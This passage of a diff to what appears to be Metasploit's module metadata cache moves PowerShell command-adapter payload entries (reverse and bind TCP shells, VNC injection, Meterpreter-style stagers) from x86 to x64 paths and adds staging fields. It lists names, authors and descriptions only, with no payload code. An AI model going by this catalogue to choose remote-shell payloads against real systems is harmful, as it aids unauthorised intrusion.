payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ ], @@ -186296,20 +206141,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/peinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/upexec/find_tag": { - "name": "Powershell Exec, Windows Upload/Execute, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/upexec/find_tag", + "payload_cmd/windows/powershell/x64/pingback_reverse_tcp": { + "name": "Powershell Exec, Windows x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/windows/powershell/x64/pingback_reverse_tcp", "aliases": [ ], @@ -186318,11 +206169,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "skape " + "bwatters-r7" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nUse an established connection", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to attacker and report UUID (Windows x64)", "references": [ ], @@ -186333,20 +206182,24 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/find_tag", + "ref_name": "cmd/windows/powershell/x64/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/pingback_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/upexec/reverse_ipv6_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/x64/powershell_bind_tcp": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/x64/powershell_bind_tcp", "aliases": [ ], @@ -186355,14 +206208,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape " + "Ben Turner", + "Dave Hardy", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker over IPv6", + "description": "Execute an x64 payload from a command via PowerShell", "references": [ - + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -186371,20 +206223,24 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/x64/powershell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/powershell_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/upexec/reverse_nonx_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_nonx_tcp", + "payload_cmd/windows/powershell/x64/powershell_reverse_tcp": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/x64/powershell_reverse_tcp", "aliases": [ ], @@ -186393,12 +206249,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", + "Ben Turner", + "Dave Hardy", "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker (No NX)", + "description": "Execute an x64 payload from a command via PowerShell", "references": [ - + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -186407,20 +206264,24 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/x64/powershell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/upexec/reverse_ord_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_ord_tcp", + "payload_cmd/windows/powershell/x64/powershell_reverse_tcp_ssl": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/x64/powershell_reverse_tcp_ssl", "aliases": [ ], @@ -186429,13 +206290,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "spoonm " + "Ben Turner", + "Dave Hardy", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell", "references": [ - + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -186444,20 +206305,24 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/x64/powershell_reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp_ssl", + "staged": false }, - "payload_cmd/windows/powershell/upexec/reverse_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp", + "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp", "aliases": [ ], @@ -186466,12 +206331,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", "references": [ ], @@ -186482,20 +206344,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_tcp", + "ref_name": "cmd/windows/powershell/x64/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/upexec/reverse_tcp_allports": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_allports", + "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -186504,12 +206372,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", "sf ", - "hdm ", - "skape " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ ], @@ -186520,20 +206386,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/upexec/reverse_tcp_dns": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_dns", + "payload_cmd/windows/powershell/x64/shell/bind_named_pipe": { + "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/x64/shell/bind_named_pipe", "aliases": [ ], @@ -186542,13 +206414,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", "sf ", - "hdm ", - "skape ", - "RageLtMan" + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", "references": [ ], @@ -186559,20 +206428,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/x64/shell/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_named_pipe" }, - "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_rc4", + "payload_cmd/windows/powershell/x64/shell/bind_tcp": { + "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp", "aliases": [ ], @@ -186581,14 +206456,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape ", - "mihi", - "RageLtMan" + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", "references": [ ], @@ -186599,20 +206469,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/x64/shell/bind_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp" }, - "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/x64/shell/bind_tcp_rc4": { + "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp_rc4", "aliases": [ ], @@ -186621,14 +206497,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", "sf ", "hdm ", "skape ", "mihi", + "max3raza", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", "references": [ ], @@ -186639,20 +206515,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/x64/shell/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_rc4" }, - "payload_cmd/windows/powershell/upexec/reverse_tcp_uuid": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_uuid", + "payload_cmd/windows/powershell/x64/shell/bind_tcp_uuid": { + "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp_uuid", "aliases": [ ], @@ -186661,12 +206543,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", "sf ", - "hdm ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", "references": [ ], @@ -186677,20 +206557,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/shell/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/upexec/reverse_udp": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse UDP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_udp", + "payload_cmd/windows/powershell/x64/shell/reverse_tcp": { + "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp", "aliases": [ ], @@ -186699,11 +206585,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "RageLtMan " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", "references": [ ], @@ -186714,20 +206598,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_udp", + "ref_name": "cmd/windows/powershell/x64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp" }, - "payload_cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp", + "payload_cmd/windows/powershell/x64/shell/reverse_tcp_rc4": { + "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp_rc4", "aliases": [ ], @@ -186739,51 +206629,13 @@ "sf ", "hdm ", "skape ", - "Borja Merino " + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", - "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false - }, - "payload_cmd/windows/powershell/vncinject/bind_hidden_tcp": { - "name": "Powershell Exec, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_hidden_tcp", - "aliases": [ - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Spencer McIntyre", - "sf ", - "hdm ", - "skape ", - "Borja Merino " - ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", - "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -186792,20 +206644,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/x64/shell/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp": { - "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp", + "payload_cmd/windows/powershell/x64/shell/reverse_tcp_uuid": { + "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp_uuid", "aliases": [ ], @@ -186815,13 +206673,11 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm ", - "skape " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -186830,20 +206686,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/x64/shell/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell/x64/shell_bind_tcp": { + "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/powershell/x64/shell_bind_tcp", "aliases": [ ], @@ -186852,15 +206714,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", - "skape ", - "OJ Reeves" + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection and spawn a command shell (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -186869,20 +206727,24 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/vncinject/bind_named_pipe": { - "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_named_pipe", + "payload_cmd/windows/powershell/x64/shell_reverse_tcp": { + "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/windows/powershell/x64/shell_reverse_tcp", "aliases": [ ], @@ -186891,13 +206753,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "UserExistsError" + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to attacker and spawn a command shell (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -186906,20 +206766,24 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_named_pipe", + "ref_name": "cmd/windows/powershell/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/shell_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/vncinject/bind_nonx_tcp": { - "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_nonx_tcp", + "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp", "aliases": [ ], @@ -186928,10 +206792,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "vlad902 " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -186943,20 +206806,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/vncinject/bind_tcp": { - "name": "Powershell Exec, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp", + "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -186966,10 +206835,9 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm ", - "skape " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -186981,35 +206849,38 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_tcp", + "ref_name": "cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/vncinject/bind_tcp_rc4": { - 